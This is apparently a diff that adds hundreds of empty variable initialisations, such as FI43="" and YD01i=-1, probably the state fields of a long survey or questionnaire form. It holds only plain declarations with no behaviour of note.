+FI43="";
+FI44="";
+FI45="";
+FI46="";
+FI47="";
+FI48="";
+FI49="";
+FI50="";
+FI51="";
+FI52="";
+FI53="";
+FI54="";
+FI55="";
+FI56="";
+FI57="";
+FI58="";
+FF01="";
+FF02="";
+FF03="";
+FF04="";
+FF05="";
+FF06="";
+FF07="";
+FF08="";
+FF09="";
+FF10="";
+FF11="";
+FF12="";
+FF13="";
+FF14="";
+FF15="";
+FF16="";
+FF17="";
+FF18="";
+FF19="";
+FF20="";
+FF21="";
+FF22="";
+PPQT="";
+PPQTi=-1;
+PSQT="";
+PSQTi=-1;
+LCDQ="";
+LCDQi=-1;
+NITQ="";
+NITQi=-1;
+NTSQ="";
+NTSQi=-1;
+GENQ="";
+GENQi=-1;
+DSNQ="";
+DSNQi=-1;
+OPMQ="";
+OPMQi=-1;
+PRCQ="";
+PRCQi=-1;
+BATQ="";
+BATQi=-1;
+CMPQ="";
+CMPQi=-1;
+DSCQ="";
+DSCQi=-1;
+MSSQ="";
+MSSQi=-1;
+MSIQ="";
+MSIQi=-1;
+PGSQ="";
+PGSQi=-1;
+PCPQ="";
+PCPQi=-1;
+AO01="";
+AO02="";
+AO03="";
+AO04="";
+AO05="";
+AO06="";
+AO07="";
+AO08="";
+AO09="";
+AO10="";
+AO11="";
+AO12="";
+AO13="";
+AO14="";
+AO15="";
+AO16="";
+AO17="";
+AO18="";
+AO19="";
+AO20="";
+AO21="";
+AO22="";
+AO23="";
+AO24="";
+AO25="";
+AO26="";
+AO27="";
+AO28="";
+AO29="";
+AO30="";
+AO31="";
+AO32="";
+AO33="";
+AO34="";
+AO35="";
+IS01="";
+IS02="";
+IS03="";
+IS04="";
+IS05="";
+IS06="";
+IS07="";
+IS08="";
+IS09="";
+IS10="";
+IS11="";
+IS12="";
+IS13="";
+IS14="";
+IS15="";
+IS16="";
+IS17="";
+IS18="";
+IS19="";
+IS20="";
+IS21="";
+IS22="";
+IS23="";
+IS24="";
+IS25="";
+IS26="";
+IS27="";
+IS28="";
+IS29="";
+IS30="";
+IS31="";
+IS32="";
+IS33="";
+IS34="";
+IS35="";
+B601="";
+B602="";
+B603="";
+B604="";
+B605="";
+B606="";
+B607="";
+B608="";
+B609="";
+B610="";
+B611="";
+B612="";
+B613="";
+B614="";
+B615="";
+B616="";
+B617="";
+B618="";
+B619="";
+B620="";
+B621="";
+B622="";
+B623="";
+B624="";
+B625="";
+B626="";
+B627="";
+B628="";
+B629="";
+B630="";
+B631="";
+B632="";
+B633="";
+B634="";
+B635="";
+CTYP="";
+CTYPi=-1;
+AO36="";
+AO37="";
+IS36="";
+IS37="";
+B636="";
+B637="";
+FA01="";
+FA02="";
+FA03="";
+FA04="";
+FA05="";
+FA06="";
+FA07="";
+FA08="";
+FA09="";
+FA10="";
+FA11="";
+FA12="";
+FA13="";
+FA14="";
+FA15="";
+FA16="";
+FA17="";
+FA18="";
+FA19="";
+FA20="";
+FA21="";
+FA22="";
+FA23="";
+FA24="";
+FA25="";
+FA26="";
+FA27="";
+SI01="";
+SI02="";
+SI03="";
+SI04="";
+SI05="";
+SI06="";
+SI07="";
+SI08="";
+SI09="";
+SI10="";
+SI11="";
+SI12="";
+SI13="";
+SI14="";
+SI15="";
+SI16="";
+SI17="";
+SI18="";
+SI19="";
+SI20="";
+SI21="";
+SI22="";
+SI23="";
+SI24="";
+SI25="";
+SI26="";
+SI27="";
+SI28="";
+SI29="";
+SI30="";
+SI31="";
+SI32="";
+SI33="";
+SI34="";
+SI35="";
+SI36="";
+SI37="";
+SI38="";
+SI39="";
+SI40="";
+SI41="";
+II01="";
+II02="";
+II03="";
+II04="";
+II05="";
+II06="";
+II07="";
+II08="";
+II09="";
+II10="";
+II11="";
+OB01="";
+OB02="";
+OB03="";
+OB04="";
+PUCO="";
+SF01="";
+SF02="";
+SF03="";
+SF04="";
+SF05="";
+SF06="";
+SF07="";
+SF08="";
+SF09="";
+SF10="";
+SF11="";
+SF12="";
+SF13="";
+SF14="";
+SF15="";
+SF16="";
+SF17="";
+SF18="";
+SF19="";
+SF20="";
+SF21="";
+SF22="";
+SF23="";
+SF24="";
+SF25="";
+SF26="";
+SF27="";
+SF28="";
+SF29="";
+SF30="";
+SF31="";
+SF32="";
+SF33="";
+SF34="";
+SF35="";
+SF36="";
+SF37="";
+SF38="";
+SF39="";
+SF40="";
+SF41="";
+SF42="";
+SF43="";
+SF44="";
+SF45="";
+SF46="";
+SF47="";
+SF48="";
+SF49="";
+FA28="";
+FA29="";
+FA30="";
+FA31="";
+II12="";
+II13="";
+II14="";
+AO38="";
+IS38="";
+B638="";
+PRMU="";
+PRMUi=0;
+PRMO="";
+CAMU="";
+CAMUi=0;
+CAMO="";
+INDU="";
+INDUi=0;
+INDO="";
+INDH="";
+II15="";
+II16="";
+II17="";
+II18="";
+II19="";
+II20="";
+PLYP="";
+PLYPi=0;
+WEDT="";
+WEDTi=0;
+FM01="";
+FM02="";
+FM03="";
+FM04="";
+FM05="";
+FM06="";
+FM07="";
+FM08="";
+FM09="";
+FM10="";
+FM11="";
+FM12="";
+FM13="";
+FM14="";
+FM15="";
+FM16="";
+FM17="";
+FM18="";
+FM19="";
+FM20="";
+FM21="";
+FM22="";
+FM23="";
+FM24="";
+FM25="";
+FM26="";
+FM27="";
+FL01="";
+FL02="";
+FL03="";
+FL04="";
+FL05="";
+FL06="";
+FL07="";
+FL08="";
+FL09="";
+FL10="";
+FL11="";
+FL12="";
+FL13="";
+FL14="";
+FL15="";
+FL16="";
+FL17="";
+FL18="";
+FL19="";
+FL20="";
+FL21="";
+FL22="";
+FL23="";
+FL24="";
+FL25="";
+FL26="";
+FL27="";
+AE01="";
+AE02="";
+AE03="";
+AE04="";
+AE05="";
+AE06="";
+AE07="";
+AE08="";
+AE09="";
+AE10="";
+AG01="";
+AG02="";
+AG03="";
+AG04="";
+AG05="";
+AG06="";
+AG07="";
+AG08="";
+AG09="";
+AG10="";
+AF01="";
+AF02="";
+AF03="";
+AF04="";
+AF05="";
+AF06="";
+AF07="";
+AF08="";
+AF09="";
+AF10="";
+AP01="";
+AP02="";
+AP03="";
+AP04="";
+AP05="";
+AP06="";
+AP07="";
+AP08="";
+AP09="";
+AP10="";
+BA01="";
+BA02="";
+BA03="";
+BA04="";
+BA05="";
+BA06="";
+BA07="";
+BA08="";
+BA09="";
+BA10="";
+BA11="";
+BA12="";
+BA13="";
+BA14="";
+BA15="";
+CNCT="";
+CNCTi=-1;
+TCNT="";
+TCNTi=0;
+OCNT="";
+OCNTi=0;
+CMNT="";
+PTYP="";
+PTYPi=0;
+REPS="";
+REPSi=0;
+REPO="";
+SDIS="";
+SDISi=0;
+SDSO="";
+WUSE="";
+WUSEi=0;
+WUSO="";
+RF01="";
+RF02="";
+RF03="";
+RF04="";
+RF05="";
+RF06="";
+RF07="";
+RF08="";
+RFOT="";
+MOUF="";
+MOUFi=0;
+MOFO="";
+CO01="";
+CO02="";
+CO03="";
+CO04="";
+CO05="";
+CO06="";
+CO07="";
+WC01="";
+WC02="";
+WC03="";
+WC04="";
+WC05="";
+WC06="";
+WC07="";
+DVDS="";
+CDDS="";
+MINI="";
+RCRD="";
+TAPE="";
+FDVD="";
+FDVDi=-1;
+ODVD="";
+NCHD="";
+NCHDi=0;
+INCM="";
+INCMi=0;
+HTYP="";
+HTYPi=-1;
+AOLE="";
+AOLEi=-1;
+COLE="";
+COLEi=-1;
+OOLE="";
+HM25="";
+HM26="";
+HM27="";
+HS25="";
+HS26="";
+HS27="";
+PL25="";
+PL25i=-1;
+PL26="";
+PL26i=-1;
+PL27="";
+PL27i=-1;
+IF01="";
+IF01i=0;
+IF02="";
+IF03="";
+IF04="";
+IF05="";
+IF06="";
+IF07="";
+IF08="";
+IF09="";
+IF10="";
+IF11="";
+IF12="";
+IF13="";
+IF14="";
+IF15="";
+IF16="";
+IF17="";
+IF18="";
+IF19="";
+IF20="";
+IF21="";
+IF22="";
+IF23="";
+IF24="";
+IF25="";
+IF26="";
+IF27="";
+IF28="";
+IF29="";
+IF30="";
+IF31="";
+IF32="";
+IF33="";
+IF34="";
+IF35="";
+IF36="";
+IF37="";
+IF38="";
+IF39="";
+IF40="";
+IF41="";
+IFOT="";
+MA01="";
+MA02="";
+MA03="";
+MA04="";
+MA05="";
+MA06="";
+MA07="";
+MA08="";
+MA09="";
+MA10="";
+MA11="";
+MA12="";
+MA13="";
+MA14="";
+MA15="";
+MA16="";
+MA17="";
+MA18="";
+MA19="";
+MA20="";
+MA21="";
+MA22="";
+MA23="";
+MA24="";
+MA25="";
+MA26="";
+MAOT="";
+OF01="";
+OF02="";
+OF03="";
+OF04="";
+OF05="";
+OF06="";
+OF07="";
+OF08="";
+OF09="";
+OF10="";
+OF11="";
+OF12="";
+OF13="";
+OF14="";
+OF15="";
+OF16="";
+OF17="";
+OF18="";
+OF19="";
+OS01="";
+OS02="";
+OS03="";
+OS04="";
+OS05="";
+OS06="";
+OS07="";
+OS08="";
+OS09="";
+OS10="";
+OS11="";
+OS12="";
+OS13="";
+OS14="";
+OS15="";
+OS16="";
+OS17="";
+OS18="";
+OS19="";
+BR01="";
+BR02="";
+BR03="";
+BR04="";
+BR05="";
+BR06="";
+BR07="";
+BR08="";
+BR09="";
+BR10="";
+BR11="";
+BR12="";
+BR13="";
+BR14="";
+BR15="";
+BR16="";
+BR17="";
+BR18="";
+BR19="";
+FC01="";
+FC02="";
+FC03="";
+FC04="";
+FC05="";
+FC06="";
+FC07="";
+FC08="";
+FC09="";
+FC10="";
+FC11="";
+FC12="";
+FC13="";
+FC14="";
+FC15="";
+FC16="";
+FC17="";
+FC01i=-1;
+FC02i=-1;
+FC03i=-1;
+FC04i=-1;
+FC05i=-1;
+FC06i=-1;
+FC07i=-1;
+FC08i=-1;
+FC09i=-1;
+FC10i=-1;
+FC11i=-1;
+FC12i=-1;
+FC13i=-1;
+FC14i=-1;
+FC15i=-1;
+FC16i=-1;
+FC17i=-1;
+UNET="";
+UNETi=-1;
+MARS="";
+MARSi=-1;
+EWAR="";
+EWARi=-1;
+OCOT="";
+CG00="";
+CG00i=-1;
+CG01="";
+CG01i=-1;
+CG02="";
+CG02i=-1;
+CG03="";
+CG03i=-1;
+CG04="";
+CG04i=-1;
+CG05="";
+CG05i=-1;
+CG06="";
+CG06i=-1;
+CG07="";
+CG07i=-1;
+CG08="";
+CG08i=-1;
+CG09="";
+CG09i=-1;
+CG10="";
+CG10i=-1;
+CG11="";
+CG11i=-1;
+COCO="";
+COCOi=0;
+MI00="";
+MI01="";
+MI02="";
+MI03="";
+MI04="";
+MI05="";
+MI06="";
+MI07="";
+MI08="";
+MI09="";
+MI10="";
+MI11="";
+MI12="";
+MI13="";
+MI14="";
+MI00i=-1;
+MI01i=-1;
+MI02i=-1;
+MI03i=-1;
+MI04i=-1;
+MI05i=-1;
+MI06i=-1;
+MI07i=-1;
+MI08i=-1;
+MI09i=-1;
+MI10i=-1;
+MI11i=-1;
+MI12i=-1;
+MI13i=-1;
+MI14i=-1;
+
+YD01="";
+YD02="";
+YD03="";
+YD04="";
+YD05="";
+YD06="";
+YD07="";
+YD08="";
+YD09="";
+YD10="";
+YD11="";
+YD12="";
+YD13="";
+YD14="";
+YD15="";
+YD16="";
+YD17="";
+YD18="";
+YD19="";
+YD20="";
+YD21="";
+YD22="";
+YD23="";
+YD24="";
+YD25="";
+YD26="";
+YD27="";
+YD28="";
+YD29="";
+YD30="";
+YD31="";
+YD32="";
+YD33="";
+YD34="";
+YD35="";
+YD36="";
+YD37="";
+YD38="";
+YD39="";
+YD40="";
+YD41="";
+YD42="";
+YD43="";
+YD44="";
+YD45="";
+YD46="";
+YD47="";
+YD48="";
+YD49="";
+YD50="";
+YD51="";
+YD52="";
+YD53="";
+YD54="";
+YD55="";
+YD01i=-1;
+YD02i=-1;
+YD03i=-1;
+YD04i=-1;
+YD05i=-1;
+YD06i=-1;
+YD07i=-1;
+YD08i=-1;
+YD09i=-1;
+YD10i=-1;
+YD11i=-1;
+YD12i=-1;
+YD13i=-1;
+YD14i=-1;
+YD15i=-1;
+YD16i=-1;
+YD17i=-1;
+YD18i=-1;
+YD19i=-1;
+YD20i=-1;
+YD21i=-1;
+YD22i=-1;
+YD23i=-1;
+YD24i=-1;
+YD25i=-1;
+YD26i=-1;
+YD27i=-1;
+YD28i=-1;
+YD29i=-1;
+YD30i=-1;
+YD31i=-1;
+YD32i=-1;
+YD33i=-1;
+YD34i=-1;
+YD35i=-1;
+YD36i=-1;
+YD37i=-1;
+YD38i=-1;
+YD39i=-1;
+YD40i=-1;
+YD41i=-1;
+YD42i=-1;
+YD43i=-1;
+YD44i=-1;
+YD45i=-1;
+YD46i=-1;
+YD47i=-1;
+YD48i=-1;
+YD49i=-1;
+YD50i=-1;
+YD51i=-1;
+YD52i=-1;
+YD53i=-1;
+YD54i=-1;
+YD55i=-1;
+NI00="";
+NI01="";
+NI02="";
+NI03="";
+NI04="";
+NI05="";
+NI06="";
+NI07="";
+NI08="";
+NI09="";
+NI10="";
+NI11="";
+NI12="";
+NI13="";
+NI14="";
+NI15="";
+NI16="";
+NI17="";
+NI18="";
+NI19="";
+NI20="";
+NI21="";
+NI22="";
+NI23="";
+NI24="";
+NI25="";
+NI26="";
+NI27="";
+NI00i=-1;
+NI01i=-1;
+NI02i=-1;
+NI03i=-1;
+NI04i=-1;
+NI05i=-1;
+NI06i=-1;
+NI07i=-1;
+NI08i=-1;
+NI09i=-1;
+NI10i=-1;
+NI11i=-1;
+NI12i=-1;
+NI13i=-1;
+NI14i=-1;
+NI15i=-1;
+NI16i=-1;
+NI17i=-1;
+NI18i=-1;
+NI19i=-1;
+NI20i=-1;
+NI21i=-1;
+NI22i=-1;
+NI23i=-1;
+NI24i=-1;
+NI25i=-1;
+NI26i=-1;
+NI27i=-1;
+NIOT="";
+
+AC01="";
+AC02="";
+AC03="";
+AC04="";
+AC05="";
+AC06="";
+AC07="";
+AC08="";
+AC09="";
+AC10="";
+AC11="";
+AC12="";
+AC13="";
+AC14="";
+AC15="";
+AC16="";
+AC17="";
+AC18="";
+AC19="";
+AC20="";
+AC21="";
+AC22="";
+AC23="";
+AC24="";
+
+AC01i=-1;
+AC02i=-1;
+AC03i=-1;
+AC04i=-1;
+AC05i=-1;
+AC06i=-1;
+AC07i=-1;
+AC08i=-1;
+AC09i=-1;
+AC10i=-1;
+AC11i=-1;
+AC12i=-1;
+AC13i=-1;
+AC14i=-1;
+AC15i=-1;
+AC16i=-1;
+AC17i=-1;
+AC18i=-1;
+AC19i=-1;
+AC20i=-1;
+AC21i=-1;
+AC22i=-1;
+AC23i=-1;
+AC24i=-1;
+
+AO39="";
+IS39="";
+B639="";
+AO40="";
+IS40="";
+B640="";
+AO41="";
+IS41="";
+B641="";
+AO42="";
+IS42="";
+B642="";
+AO43="";
+IS43="";
+B643="";
+
+AO39i=-1;
+IS39i=-1;
+B639i=-1;
+AO40i=-1;
+IS40i=-1;
+B640i=-1;
+AO41i=-1;
+IS41i=-1;
+B641i=-1;
+AO42i=-1;
+IS42i=-1;
+B642i=-1;
+AO43i=-1;
+IS43i=-1;
+B643i=-1;
+
+EIMG="";
+EIMGi=0;
+IC01="";
+IC02="";
+IC03="";
+IC04="";
+IC05="";
+IC06="";
+IC07="";
+IC01i=-1;
+IC02i=-1;
+IC03i=-1;
+IC04i=-1;
+IC05i=-1;
+IC06i=-1;
+IC07i=-1;
+ICOT="";
+
+SF49="";
+FA32="";
+EISC="";
+EISCi=-1;
+
+COLR="";
+COLRi="0";
+WPOL="";
+SF50="";
+SF50i="-1";
+SF51="";
+SF51i="-1";
+SF52="";
+SF52i="-1";
+SF53="";
+SF53i="-1";
+SF54="";
+SF54i="-1";
+MDRI="";
+MDRIi="-1";
+MDIR="";
+MDIRi="0";
+OB05="";
+OB05i="-1";
+OB06="";
+OB06i="-1";
+OB07="";
+OB07i="-1";
+OB08="";
+OB08i="-1";
+OB09="";
+OB09i="-1";
+OB10="";
+OB10i="-1";
+OB11="";
+OB11i="-1";
+OB12="";
+OB12i="-1";
+OBFI="";
+OP01="";
+OP01i="-1";
+OP02="";
+OP02i="-1";
+OP03="";
+OP03i="-1";
+OP04="";
+OP04i="-1";
+SMDR="";
+SMDRi="0";
+SMDO="";
+DMFI="";
+DMFIi="-1";
+HMFD="";
+HMFDi="0";
+WSMM="";
+WSMMi="0";
+MMFI="";
+MDFP ="";
+MDMP ="";
+MDFC ="";
+MDMC ="";
+SF55 ="";
+SF56 ="";
+SF57 ="";
+SF58 ="";
+SF59 ="";
+SF60 ="";
+SF61 ="";
+SF62 ="";
+SF63 ="";
+SF64 ="";
+SF65 ="";
+SF55i =0;
+SF56i =0;
+SF57i =0;
+SF58i =0;
+SF59i =0;
+SF60i =0;
+SF61i =0;
+SF62i =0;
+SF63i =0;
+SF64i =0;
+SF65i =0;
+SFFI ="";
+RC01 ="";
+RC02 ="";
+RC03 ="";
+RC04 ="";
+RC05 ="";
+RC06 ="";
+RC07 ="";
+RC08 ="";
+RC01i =0;
+RC02i =0;
+RC03i =0;
+RC04i =0;
+RC05i =0;
+RC06i =0;
+RC07i =0;
+RC08i =0;
+RCFI ="";
+RH01 ="";
+RH02 ="";
+RH03 ="";
+RH04 ="";
+RH05 ="";
+RH06 ="";
+RH01i =0;
+RH02i =0;
+RH03i =0;
+RH04i =0;
+RH05i =0;
+RH06i =0;
+RHFI ="";
+FE35 ="";
+FE36 ="";
+FE37 ="";
+FE38 ="";
+FE39 ="";
+FE40 ="";
+FE41 ="";
+FE42 ="";
+FE43 ="";
+FE44 ="";
+FE45 ="";
+FE46 ="";
+FE47 ="";
+FE48 ="";
+FE49 ="";
+FE50 ="";
+FE51 ="";
+FE52 ="";
+FE53 ="";
+FE35i =0;
+FE36i =0;
+FE37i =0;
+FE38i =0;
+FE39i =0;
+FE40i =0;
+FE41i =0;
+FE42i =0;
+FE43i =0;
+FE44i =0;
+FE45i =0;
+FE46i =0;
+FE47i =0;
+FE48i =0;
+FE49i =0;
+FE50i =0;
+FE51i =0;
+FE52i =0;
+FE53i =0;
+NCDK ="";
+NCDKi =0;
+NPRM ="";
+NBLM ="";
+NVRC ="";
+NCTP ="";
+
+PMDP ="";
+PMDR ="";
+CRMD ="";
+MDDK ="";
+PMDPi =-1;
+PMDRi =-1;
+CRMDi =-1;
+MDDKi =-1;
+PUSE = "";
+PUSEi =0;
+IF42="";
+IF43="";
+IF44="";
+IF45="";
+IF46="";
+IF47="";
+IF48="";
+OF00="";
+OS00="";
+BR00="";
+OB13="";
+OB14="";
+
+MO01="";
+MO02="";
+MO03="";
+MO04="";
+MO05="";
+MO06="";
+MO07="";
+MO08="";
+MO09="";
+MO10="";
+MO11="";
+MO12="";
+MO13="";
+
+MO01i=-1;
+MO02i=-1;
+MO03i=-1;
+MO04i=-1;
+MO05i=-1;
+MO06i=-1;
+MO07i=-1;
+MO08i=-1;
+MO09i=-1;
+MO10i=-1;
+MO11i=-1;
+MO12i=-1;
+MO13i=-1;
+
+RF09="";
+RF10="";
+RF11="";
+RF12="";
+RF13="";
+RF14="";
+RF15="";
+RF16="";
+RF17="";
+RF18="";
+RF19="";
+RF20="";
+RF21="";
+RF22="";
+RF23="";
+RF24="";
+RF25="";
+RF26="";
+RF27="";
+RF28="";
+RF29="";
+RF30="";
+RF31="";
+RF32="";
+RF33="";
+RF34="";
+RF35="";
+RF36="";
+RF37="";
+RF38="";
+RF39="";
+RF40="";
+RF41="";
+RF42="";
+RF43="";
+RF44="";
+RF45="";
+RF46="";
+RF47="";
+RF48="";
+RF49="";
+RF50="";
+RF51="";
+RF52="";
+RF53="";
+RF54="";
+RF55="";
+RF56="";
+RF57="";
+RF58="";
+RF59="";
+RF60="";
+RF61="";
+RF62="";
+RF63="";
+RF64="";
+RF65="";
+RF66="";
+RF67="";
+
+RF09i=-1;
+RF10i=-1;
+RF11i=-1;
+RF12i=-1;
+RF13i=-1;
+RF14i=-1;
+RF15i=-1;
+RF16i=-1;
+RF17i=-1;
+RF18i=-1;
+RF19i=-1;
+RF20i=-1;
+RF21i=-1;
+RF22i=-1;
+RF23i=-1;
+RF24i=-1;
+RF25i=-1;
+RF26i=-1;
+RF27i=-1;
+RF28i=-1;
+RF29i=-1;
+RF30i=-1;
+RF31i=-1;
+RF32i=-1;
+RF33i=-1;
+RF34i=-1;
+RF35i=-1;
+RF36i=-1;
+RF37i=-1;
+RF38i=-1;
+RF39i=-1;
+RF40i=-1;
+RF41i=-1;
+RF42i=-1;
+RF43i=-1;
+RF44i=-1;
+RF45i=-1;
+RF46i=-1;
+RF47i=-1;
+RF48i=-1;
+RF49i=-1;
+RF50i=-1;
+RF51i=-1;
+RF52i=-1;
+RF53i=-1;
+RF54i=-1;
+RF55i=-1;
+RF56i=-1;
+RF57i=-1;
+RF58i=-1;
+RF59i=-1;
+RF60i=-1;
+RF61i=-1;
+RF62i=-1;
+RF63i=-1;
+RF64i=-1;
+RF65i=-1;
+RF66i=-1;
+RF67i=-1;
+
+CO08="";
+CO09="";
+CO10="";
+CO11="";
+CO12="";
+CO13="";
+CO14="";
+CO15="";
+CO16="";
+CO17="";
+CO18="";
+CO19="";
+
+CO08i=-1;
+CO09i=-1;
+CO10i=-1;
+CO11i=-1;
+CO12i=-1;
+CO13i=-1;
+CO14i=-1;
+CO15i=-1;
+CO16i=-1;
+CO17i=-1;
+CO18i=-1;
+CO19i=-1;
+
+WUCP="";
+WUCPi=0;
+
+AVSM="";
+AVSMi=0;
+
+SD01="";
+SD02="";
+SD03="";
+SD04="";
+SD05="";
+SD06="";
+SD07="";
+
+SD01i=-1;
+SD02i=-1;
+SD03i=-1;
+SD04i=-1;
+SD05i=-1;
+SD06i=-1;
+SD07i=-1;
+
+TP01="";
+TP02="";
+TP03="";
+TP04="";
+
+WC08="";
+WC09="";
+WC10="";
+WC11="";
+WC12="";
+WC13="";
+WC14="";
+WC15="";
+
+WC08i=-1;
+WC09i=-1;
+WC10i=-1;
+WC11i=-1;
+WC12i=-1;
+WC13i=-1;
+WC14i=-1;
+WC15i=-1;
+
+MD01="";
+MD02="";
+MD03="";
+MD04="";
+MD05="";
+MD06="";
+MD07="";
+MD08="";
+MD09="";
+MD10="";
+MD11="";
+MD12="";
+MD13="";
+MD14="";
+MD15="";
+
+MF01="";
+MF02="";
+MF03="";
+MF04="";
+MF05="";
+MF06="";
+MF07="";
+MF08="";
+MF09="";
+MF10="";
+MF11="";
+MF12="";
+MF13="";
+MF14="";
+MF15="";
+
+PU01="";
+PU02="";
+PU03="";
+PU04="";
+PU05="";
+
+PU01i=-1;
+PU02i=-1;
+PU03i=-1;
+PU04i=-1;
+PU05i=-1;
+
+SF00="";
+SF00i=-1;
+
+NCDR="";
+AGCT="";
+AGCTi=0;
+
+MUS1="";
+MUS2="";
+MUS3="";
+
+MUS1i=0;
+MUS2i=0;
+MUS3i=0;
+
+SF66="";
+SF67="";
+SF68="";
+FA33="";
+FA34="";
+AO44="";
+IS44="";
+B644="";
+AO44i=-1;
+IS44i=-1;
+B644i=-1;
+
+IF52="";
+IF53="";
+IF54="";
+IF55="";
+IF56="";
+IF57="";
+IF58="";
+IF59="";
+IF60="";
+IF61="";
+IF62="";
+IF63="";
+IF64="";
+IF65="";
+IF66="";
+IF67="";
+IF68="";
+
+IF52i=-1;
+IF53i=-1;
+IF54i=-1;
+IF55i=-1;
+IF56i=-1;
+IF57i=-1;
+IF58i=-1;
+IF59i=-1;
+IF60i=-1;
+IF61i=-1;
+IF62i=-1;
+IF63i=-1;
+IF64i=-1;
+IF65i=-1;
+IF66i=-1;
+IF67i=-1;
+IF68i=-1;
+
+MA28="";
+MA28i=-1;
+
+NADL="";
+AGCH="";
+LRNA="";
+LRNAi=0;
+LROT="";
+WHRM="";
+WHRMi="0";
+WROT="";
+DV01="";
+DV01i="-1";
+DV02="";
+DV02i="-1";
+DV03="";
+DV03i="-1";
+DV04="";
+DV04i="-1";
+DV05="";
+DV05i="-1";
+DV06="";
+DV06i="-1";
+DV07="";
+DV07i="-1";
+DV08="";
+DV08i="-1";
+PVUF="";
+PVUFi="0";
+WDVC="";
+WDVCi="0";
+VCOT="";
+VCPU="";
+VCPUi="0";
+PUCA="";
+PUOT="";
+SCAT="";
+SCATi="-1";
+UCBX="";
+UCBXi="-1";
+CRDS="";
+CRDSi="-1";
+SATP="";
+SATPi="-1";
+BRPS="";
+BRES="";
+HMCC="";
+HMCCi="0";
+MRTV="";
+MRTVi="0";
+WTTV="";
+WTTVi="0";
+WTOT="";
+MASL="";
+MASLi="-1";
+RESL="";
+RESLi="-1";
+OVSL="";
+OVSLi="-1";
+MPNC="";
+MPNCi="0";
+NCOT="";
+MPDC="";
+MPDCi="0";
+DCOT="";
+MPCP="";
+MPCPi="0";
+CPOT="";
+
+CA01="";
+CA01i="0";
+CA02="";
+CA02i="0";
+CA03="";
+CA03i="0";
+CA04="";
+CA04i="0";
+CA05="";
+CA05i="0";
+CA06="";
+CA06i="0";
+HMVC="";
+CTVS="";
+CTVSi="0";
+CTVA="";
+CTVAi="0";
+WKCC="";
+WKCCi="0";
+TVBN="";
+VP01="";
+VP01i="-1";
+VP02="";
+VP02i="-1";
+VP03="";
+VP03i="-1";
+VPOT="";
+WWVT="";
+WWVTi="0";
+FKTR="";
+FKTP="";
+FKOP="";
+PKOO="";
+C1AG="";
+C1FV="";
+C2AG="";
+C2FV="";
+C3AG="";
+C3FV="";
+C4AG="";
+C4FV="";
+C1A2="";
+N1HT="";
+N1VT="";
+C2A2="";
+N2HT="";
+N2VT="";
+C3A2="";
+N3HT="";
+N3VT="";
+C4A2="";
+N4HT="";
+N4VT="";
+HECG="";
+HECGi="-1";
+HEIC="";
+HEICi="-1";
+HECC="";
+HECCi="-1";
+HEDV="";
+HEDVi="-1";
+PVPR="";
+PVPRi="0";
+PPOT="";
+BVOV="";
+BVOVi="-1";
+HUVV="";
+HUVVi="0";
+HUOT="";
+RCVC="";
+RCVCi="-1";
+HRVC="";
+HRVCi="0";
+HROT="";
+
+NCP1="";
+CD01="";
+CD02="";
+CD03="";
+CD04="";
+CD05="";
+CD01i=-1;
+CD02i=-1;
+CD03i=-1;
+CD04i=-1;
+CD05i=-1;
+RF73="";
+RF74="";
+RF75="";
+RF76="";
+RF77="";
+RF78="";
+RF79="";
+RF80="";
+RF81="";
+RF82="";
+RF83="";
+RF84="";
+RF85="";
+RF86="";
+RF73i=-1;
+RF74i=-1;
+RF75i=-1;
+RF76i=-1;
+RF77i=-1;
+RF78i=-1;
+RF79i=-1;
+RF80i=-1;
+RF81i=-1;
+RF82i=-1;
+RF83i=-1;
+RF84i=-1;
+RF85i=-1;
+RF86i=-1;
+YUDC="";
+YUDCi=0;
+OCPB="";
+IF49="";
+IF50="";
+MA27="";
+
+CP01="";
+CP02="";
+CP03="";
+CP04="";
+CP05="";
+CP06="";
+CP07="";
+CP08="";
+CP09="";
+CP10="";
+CP11="";
+CPFI="";
+OBRN="";
+OMDL="";
+SNQU="";
+SNQUi=0;
+TS01="";
+TS02="";
+TS03="";
+TS04="";
+TS05="";
+TS06="";
+TS07="";
+TS08="";
+RPAU="";
+RPAUi=0;
+US01="";
+US02="";
+US03="";
+US04="";
+US05="";
+US06="";
+US07="";
+US08="";
+US09="";
+US10="";
+US11="";
+US12="";
+US13="";
+US14="";
+US01i=-1;
+US02i=-1;
+US03i=-1;
+US04i=-1;
+US05i=-1;
+US06i=-1;
+US07i=-1;
+US08i=-1;
+US09i=-1;
+US10i=-1;
+US11i=-1;
+US12i=-1;
+US13i=-1;
+US14i=-1;
+LK01="";
+LK02="";
+LK03="";
+LK04="";
+LK05="";
+LK06="";
+LK07="";
+LK08="";
+LK09="";
+LK10="";
+LK11="";
+LK12="";
+LK13="";
+LK14="";
+LK01i=-1;
+LK02i=-1;
+LK03i=-1;
+LK04i=-1;
+LK05i=-1;
+LK06i=-1;
+LK07i=-1;
+LK08i=-1;
+LK09i=-1;
+LK10i=-1;
+LK11i=-1;
+LK12i=-1;
+LK13i=-1;
+LK14i=-1;
+NCID="";
+NCIDi=0;
+NP01="";
+NP02="";
+NP03="";
+NP04="";
+NP05="";
+NP06="";
+NP07="";
+NP08="";
+PLPH="";
+PLPHi=0;
+LPFI="";
+
+POP2="";
+POP2i=0;
+OPP2="";
+PULO="";
+PULOi=0;
+ARTI="";
+ARTIi=0;
+FND2="";
+FND2i=-1;
+IWUM="";
+IWUMi=0;
+VTPS="";
+VTPSi=0;
+VPFI="";
+MART="";
+MARTi=0;
+
+OB15="";
+IF69="";
+IF70="";
+IF71="";
+OF20="";
+OS20="";
+BR20="";
+OF21="";
+OS21="";
+BR21="";
+FC18="";
+FC18i=-1;
+
+IF72="";
+IF73="";
+IF74="";
+IF75="";
+IF76="";
+IF77="";
+IF78="";
+MA29="";
+MA30="";
+OF22="";
+OS22="";
+BR22="";
+
+IF79="";
+IF80="";
+IF81="";
+MA31="";
+OF23="";
+OS23="";
+BR23="";
+OF24="";
+OS24="";
+BR24="";
+OF25="";
+OS25="";
+BR25="";
+OF26="";
+OS26="";
+BR26="";
+FC19="";
+FC19i=-1;
+IF51="";
+SUIN="";
+SUINi=-1;
+CBRN="";
+CBRNi=0;
+PICW="";
+PICWi=-1;
+PICI="";
+PICIi=-1;
+WS01="";
+WS02="";
+WS03="";
+WS04="";
+WS05="";
+WS06="";
+WS07="";
+WS08="";
+WS09="";
+WS10="";
+WSOT="";
+WR01="";
+WR02="";
+WR03="";
+WR04="";
+WR05="";
+WR06="";
+WR07="";
+WR08="";
+WR09="";
+WR10="";
+WR11="";
+WR12="";
+WR13="";
+SV01="";
+SV02="";
+SV03="";
+BMOL="";
+BMOLi=-1;
+WTBM="";
+WTBMi=0;
